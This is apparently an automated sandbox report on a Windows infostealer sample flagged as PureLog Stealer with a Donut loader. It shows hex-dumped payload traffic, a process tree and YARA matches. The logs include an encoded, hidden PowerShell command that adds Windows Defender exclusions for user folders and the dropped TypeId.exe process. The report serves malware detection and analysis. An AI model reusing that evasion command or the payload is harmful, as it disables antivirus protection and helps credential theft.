00000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000148C2C0000200000008E2C0000020000000000000000000000000000200000602E727372630000003403000000C02C000004000000902C00000000
2024-06-17 14:19:04 UTC	1369	IN	Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 31 37 32 41 34 31 31 43 30 30 30 30 30 30 30 30 30 30 30 30 37 45 30 30 30 30 30 30 36 43 30 33 30 30 30 30 45 41 30 33 30 30 30 30 33 39 30 30 30 30 30 30 31 41 30 30 30 30 30 31 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 37 32 41 34 31 31 43 30 30 30 30 30 30 30 30 30 30 30 30 35 38 30 30 30 30 30 30 43 46 30 31 30 30 30 30 32 37 30 32 30 30 30 30 33 39 30 30 30 30 30 30 31 41 30 30 30 30 30 31 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 37 32 41 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 Data Ascii: 000000000000172A411C0000000000007E0000006C030000EA030000390000001A0000010330080004000000000000000000172A411C00000000000058000000CF01000027020000390000001A0000011330030004000000000000000000172A1330030004000000000000000000002A1330030004000000000000000000002
2024-06-17 14:19:04 UTC	1369	IN	Data Raw: 30 33 38 41 35 46 45 46 46 46 46 32 30 39 34 37 37 38 39 32 39 32 30 37 43 30 41 32 35 32 44 36 31 37 45 32 37 30 42 30 30 30 34 37 42 32 30 30 42 30 30 30 34 36 31 37 45 42 46 30 42 30 30 30 34 32 38 41 41 31 45 30 30 30 36 32 30 30 35 44 36 42 33 42 34 32 30 30 35 30 30 30 30 30 30 36 33 32 30 37 33 37 43 36 30 43 43 36 31 37 45 32 37 30 42 30 30 30 34 37 42 36 35 30 42 30 30 30 34 36 31 37 45 42 46 30 42 30 30 30 34 32 38 41 41 31 45 30 30 30 36 32 38 30 34 30 30 30 30 32 42 38 30 32 37 30 30 30 30 30 34 32 30 31 36 30 30 30 30 30 30 33 38 34 42 46 45 46 46 46 46 37 45 42 43 30 42 30 30 30 34 32 38 39 45 31 45 30 30 30 36 32 30 30 46 30 30 30 30 30 30 37 45 32 37 30 42 30 30 30 34 37 42 32 44 30 42 30 30 30 34 33 39 32 44 46 45 46 46 46 46 32 36 32 30 Data Ascii: 038A5FEFFFF2094778929207C0A252D617E270B00047B200B0004617EBF0B000428AA1E00062005D6B3B420050000006320737C60CC617E270B00047B650B0004617EBF0B000428AA1E0006280400002B80270000042016000000384BFEFFFF7EBC0B0004289E1E0006200F0000007E270B00047B2D0B0004392DFEFFFF2620
2024-06-17 14:19:04 UTC	1369	IN	Data Raw: 36 31 37 45 42 46 30 42 30 30 30 34 32 38 41 41 31 45 30 30 30 36 32 38 30 41 30 30 30 30 32 42 38 30 34 30 30 30 30 30 30 34 32 30 31 35 30 30 30 30 30 30 33 38 44 46 46 42 46 46 46 46 32 30 45 31 44 30 44 34 45 33 36 36 32 30 32 36 44 38 39 39 33 43 36 31 37 45 32 37 30 42 30 30 30 34 37 42 34 42 30 42 30 30 30 34 36 31 37 45 42 46 30 42 30 30 30 34 32 38 41 41 31 45 30 30 30 36 32 30 37 31 35 35 42 31 45 46 32 30 35 45 41 34 30 44 39 33 36 31 37 45 32 37 30 42 30 30 30 34 37 42 38 44 30 42 30 30 30 34 36 31 37 45 42 46 30 42 30 30 30 34 32 38 41 41 31 45 30 30 30 36 32 38 30 42 30 30 30 30 32 42 38 30 32 39 30 30 30 30 30 34 32 30 30 39 30 30 30 30 30 30 33 38 38 41 46 42 46 46 46 46 32 30 42 33 46 41 35 33 36 41 32 30 42 46 43 35 43 34 32 38 36 31 37 Data Ascii: 617EBF0B000428AA1E0006280A00002B8040000004201500000038DFFBFFFF20E1D0D4E3662026D8993C617E270B00047B4B0B0004617EBF0B000428AA1E0006207155B1EF205EA40D93617E270B00047B8D0B0004617EBF0B000428AA1E0006280B00002B80290000042009000000388AFBFFFF20B3FA536A20BFC5C428617
2024-06-17 14:19:04 UTC	1369	IN	Data Raw: 30 30 30 36 32 32 30 36 43 34 33 46 38 36 34 36 31 37 45 32 37 30 42 30 30 30 34 37 42 34 37 30 42 30 30 30 34 36 31 37 45 42 46 30 42 30 30 30 34 32 38 41 41 31 45 30 30 30 36 32 30 46 35 30 36 31 36 31 45 36 35 32 30 36 32 30 35 33 33 39 42 36 31 37 45 32 37 30 42 30 30 30 34 37 42 33 45 30 42 30 30 30 34 36 31 37 45 42 46 30 42 30 30 30 34 32 38 41 41 31 45 30 30 30 36 32 38 31 32 30 30 30 30 32 42 38 30 33 45 30 30 30 30 30 34 32 30 31 33 30 30 30 30 30 30 33 38 46 46 46 38 46 46 46 46 32 30 46 34 34 46 46 35 31 38 36 36 32 30 35 32 41 42 42 37 46 37 36 31 37 45 32 37 30 42 30 30 30 34 37 42 34 32 30 42 30 30 30 34 36 31 37 45 42 46 30 42 30 30 30 34 32 38 41 41 31 45 30 30 30 36 32 30 32 42 38 30 42 44 43 46 32 30 30 31 30 30 30 30 30 30 36 33 32 30 Data Ascii: 00062206C43F864617E270B00047B470B0004617EBF0B000428AA1E000620F506161E65206205339B617E270B00047B3E0B0004617EBF0B000428AA1E0006281200002B803E000004201300000038FFF8FFFF20F44FF518662052ABB7F7617E270B00047B420B0004617EBF0B000428AA1E0006202B80BDCF20010000006320
2024-06-17 14:19:04 UTC	1369	IN	Data Raw: 32 30 36 39 38 31 43 39 38 37 36 36 32 30 31 31 43 31 35 34 31 35 36 31 37 45 32 37 30 42 30 30 30 34 37 42 39 35 30 42 30 30 30 34 36 31 37 45 42 46 30 42 30 30 30 34 32 38 41 41 31 45 30 30 30 36 32 30 37 37 31 46 45 44 34 33 32 30 30 34 30 30 30 30 30 30 36 32 32 30 42 39 39 33 38 39 37 37 36 31 37 45 32 37 30 42 30 30 30 34 37 42 35 35 30 42 30 30 30 34 36 31 37 45 42 46 30 42 30 30 30 34 32 38 41 41 31 45 30 30 30 36 32 38 31 39 30 30 30 30 32 42 38 30 33 30 30 30 30 30 30 34 32 30 30 42 30 30 30 30 30 30 37 45 32 37 30 42 30 30 30 34 37 42 32 35 30 42 30 30 30 34 33 39 34 30 46 36 46 46 46 46 32 36 32 30 31 42 30 30 30 30 30 30 33 38 33 35 46 36 46 46 46 46 32 30 33 38 46 33 35 34 45 31 32 30 43 45 38 46 36 43 41 32 36 31 37 45 32 37 30 42 30 30 30 Data Ascii: 206981C987662011C15415617E270B00047B950B0004617EBF0B000428AA1E000620771FED4320040000006220B9938977617E270B00047B550B0004617EBF0B000428AA1E0006281900002B8030000004200B0000007E270B00047B250B00043940F6FFFF26201B0000003835F6FFFF2038F354E120CE8F6CA2617E270B000
2024-06-17 14:19:04 UTC	1369	IN	Data Raw: 39 41 32 37 30 43 35 36 31 37 45 32 37 30 42 30 30 30 34 37 42 39 30 30 42 30 30 30 34 36 31 37 45 42 46 30 42 30 30 30 34 32 38 41 41 31 45 30 30 30 36 32 30 46 43 42 35 34 44 38 39 32 30 42 42 34 35 30 35 34 35 36 31 32 30 34 32 41 38 44 37 44 36 36 31 37 45 32 37 30 42 30 30 30 34 37 42 34 41 30 42 30 30 30 34 36 31 37 45 42 46 30 42 30 30 30 34 32 38 41 41 31 45 30 30 30 36 32 38 32 30 30 30 30 30 32 42 38 30 33 41 30 30 30 30 30 34 32 30 32 30 30 30 30 30 30 30 33 38 41 35 46 33 46 46 46 46 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 34 32 32 38 32 35 31 39 30 30 30 36 37 45 42 33 30 42 30 30 30 34 32 38 37 41 31 45 30 30 30 36 32 41 30 30 30 30 30 30 34 32 32 38 32 35 31 39 30 30 30 36 Data Ascii: 9A270C5617E270B00047B900B0004617EBF0B000428AA1E000620FCB54D8920BB450545612042A8D7D6617E270B00047B4A0B0004617EBF0B000428AA1E0006282000002B803A000004202000000038A5F3FFFF0000120000172A000000120000142A0000004228251900067EB30B0004287A1E00062A000000422825190006
2024-06-17 14:19:04 UTC	1369	IN	Data Raw: 31 39 30 30 30 36 37 45 42 33 30 42 30 30 30 34 32 38 37 41 31 45 30 30 30 36 32 41 30 30 30 30 30 30 34 32 32 38 32 35 31 39 30 30 30 36 37 45 42 33 30 42 30 30 30 34 32 38 37 41 31 45 30 30 30 36 32 41 30 30 30 30 30 30 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 34 31 37 43 30 30 30 30 30 30 30 30 30 30 30 30 41 31 30 32 30 30 30 30 42 41 30 30 30 30 30 30 35 42 30 33 30 30 30 30 33 39 30 30 30 30 30 30 31 41 30 30 30 30 30 31 30 32 30 30 30 30 30 30 42 46 30 33 30 30 30 30 34 46 30 30 30 30 30 30 30 45 30 34 30 30 30 30 38 43 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 39 38 30 36 30 30 30 30 36 43 30 32 30 30 30 30 30 34 30 39 30 30 30 30 36 34 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 1900067EB30B0004287A1E00062A0000004228251900067EB30B0004287A1E00062A0000000330080004000000000000000000002A417C000000000000A1020000BA0000005B030000390000001A00000102000000BF0300004F0000000E0400008C0000000000000002000000980600006C020000040900006400000000000
2024-06-17 14:19:04 UTC	1369	IN	Data Raw: 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 34 32 32 38 32 35 31 39 30 30 30 36 37 45 42 33 30 42 30 30 30 34 32 38 37 41 31 45 30 30 30 36 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 37 32 41 30 30 30 30 Data Ascii: 42A0000001330030004000000000000000000002A1330030004000000000000000000002A4228251900067EB30B0004287A1E00062A000000120000172A000000120000142A000000120000172A0000001330030004000000000000000000002A120000142A0000001330030004000000000000000000002A120000172A0000

Target ID:	0
Start time:	10:18:40
Start date:	17/06/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xdf0000
File size:	7'168 bytes
MD5 hash:	AF4A6267CE7F24818FEEB7D2D62E72C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.1821399208.0000000009650000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1763526633.00000000033C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1808267831.0000000008F40000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1783529566.0000000006B60000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1784663616.0000000006D60000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1818030083.00000000094C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1767868411.000000000478C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1830742150.000000000B070000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1767868411.0000000004378000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1763526633.0000000003526000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.1824447213.000000000A088000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1767868411.0000000005266000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1790879005.0000000007CB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1790879005.0000000007CB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:18:45
Start date:	17/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:18:45
Start date:	17/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:18:45
Start date:	17/06/2024
Path:	C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe
Imagebase:	0xea0000
File size:	7'168 bytes
MD5 hash:	AF4A6267CE7F24818FEEB7D2D62E72C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000003.00000002.1869188121.0000000004131000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000003.00000002.1869188121.00000000044B0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 13%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:18:52
Start date:	17/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Imagebase:	0xd30000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.3019858995.0000000004AB7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.2976520133.000000000309D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.3095261684.0000000007491000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.2976520133.0000000003200000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.3019858995.0000000004A62000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.3204622217.0000000009049000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000004.00000002.3204622217.0000000009049000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.3019858995.0000000004659000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.3019858995.0000000004058000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	10:18:53
Start date:	17/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 8164, Parent PID: 8124

General

Target ID:	7
Start time:	10:18:54
Start date:	17/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:19:02
Start date:	17/06/2024
Path:	C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe
Imagebase:	0x510000
File size:	7'168 bytes
MD5 hash:	E8CE921868FE7C47FD2C236555EE5BFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000000B.00000002.2160867351.0000000006470000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.2048354854.0000000003AB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.2167920075.0000000007520000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000B.00000002.1995844689.00000000029BF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000000B.00000002.1995844689.0000000002C74000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000B.00000002.2219301967.0000000007C40000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000B.00000002.1995844689.000000000289B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	18.8%
Total number of Nodes:	64
Total number of Limit Nodes:	7

Executed Functions

Function 06E0D280 Relevance: 5.7, Strings: 4, Instructions: 682
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TJkq, xrefs: 06E0D310
xbiq, xrefs: 06E0D2E1
pjq, xrefs: 06E0D8AC
Tefq, xrefs: 06E0D5B3

Memory Dump Source

Source File: 00000000.00000002.1785630563.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e00000_file.jbxd

Similarity

API ID:
String ID: TJkq$Tefq$pjq$xbiq
API String ID: 0-513662044
Opcode ID: 63f4451a263b9917a4b587989ff3a7c7b4bee57743f7bf57a00d24a844c8ca60
Instruction ID: af310de99c4e7ca4d65744bb3c2e1711679a8a259a542305d73449bd224a14bf
Opcode Fuzzy Hash: 63f4451a263b9917a4b587989ff3a7c7b4bee57743f7bf57a00d24a844c8ca60
Instruction Fuzzy Hash: C4522675A10214DFDB55DFA8D984E99BBB2FF48314F1581A8E509AB2B2CB31EC91CF40

Function 06E078D4 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,00000002,?,?), ref: 06E08356

Memory Dump Source

Source File: 00000000.00000002.1785630563.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e00000_file.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 2c913167bee7aa35d03e62aaf728b962aeb570a71c4423f3e2984ba8f902590b
Instruction ID: e68f3cc45f6e3666e61fc67e53490e3b37f78b9f366ac2b90b2ec5e66ab32b63
Opcode Fuzzy Hash: 2c913167bee7aa35d03e62aaf728b962aeb570a71c4423f3e2984ba8f902590b
Instruction Fuzzy Hash: 912141B5D0065A9FDB10CF99C844ADEBBF4FF48320F148129E918A7240D374A950DFE0

Function 09E6D8A0 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

Dmq, xrefs: 09E6D9A5

Memory Dump Source

Source File: 00000000.00000002.1823945069.0000000009E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e50000_file.jbxd

Similarity

API ID:
String ID: Dmq
API String ID: 0-4031372824
Opcode ID: f77c9499c8d825cbbd5a5f67c1246942329aa36c0807483dace904a29114430a
Instruction ID: d3b4d1045496b6e367f7011178d01f8449e63c4705ab1f2d5b811ba037d2b2f9
Opcode Fuzzy Hash: f77c9499c8d825cbbd5a5f67c1246942329aa36c0807483dace904a29114430a
Instruction Fuzzy Hash: 77D1D374E01219CFDB64DFA9D990A9DBBB2FF89300F1090A9D409AB365DB34AD85CF50

Function 06E0A590 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785630563.0000000006E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46b50163f955f9631a5116faad9474c9e455786f23d4679c334dc6e92d7b2a74
Instruction ID: 51d7f2d098cbaa76c1329e6b45a715a2230fca6242bb5cfc3bc83112501da603
Opcode Fuzzy Hash: 46b50163f955f9631a5116faad9474c9e455786f23d4679c334dc6e92d7b2a74
Instruction Fuzzy Hash: 5CD14D74A1030A8FCB59DFB8D89466EBBB3FF88300F149528E5469B394DF359885DB81

Function 07B94278 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1790401960.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c679fb7bed381b84473ab5d599052fd8c03b655003fbb96c4375ac1714a52023
Instruction ID: fb32037dbdf62c4310551c6c1c6765a1c9c5a261d5c3d009831beaebbf6db69d
Opcode Fuzzy Hash: c679fb7bed381b84473ab5d599052fd8c03b655003fbb96c4375ac1714a52023
Instruction Fuzzy Hash: EFA115B4E14259DFEB14CFA8D984BEEBBF2FB49310F108069D429AB294C7745846CF05

Function 07B94288 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1790401960.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 822f6028b23e42df1d986ad03d70543170f5b5474a23302a3af8d552558c8d28
Instruction ID: 5cf82e99e1540897d5f6041afcb0771c2cb69993c23f94491230e1c9bcd7fb16
Opcode Fuzzy Hash: 822f6028b23e42df1d986ad03d70543170f5b5474a23302a3af8d552558c8d28
Instruction Fuzzy Hash: 67A115B4E10259DFEB14CFA9D984BEEBBF2FB89300F108069E419AB290C7745846CF05

Function 0711CD28 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1787448885.0000000007100000.00000040.00000800.00020000.00000000.sdmp, Offset: 07100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baef2008601620994343d475f78c2aa7bad03a3f5167b0244cdb6633b4ba2cb1
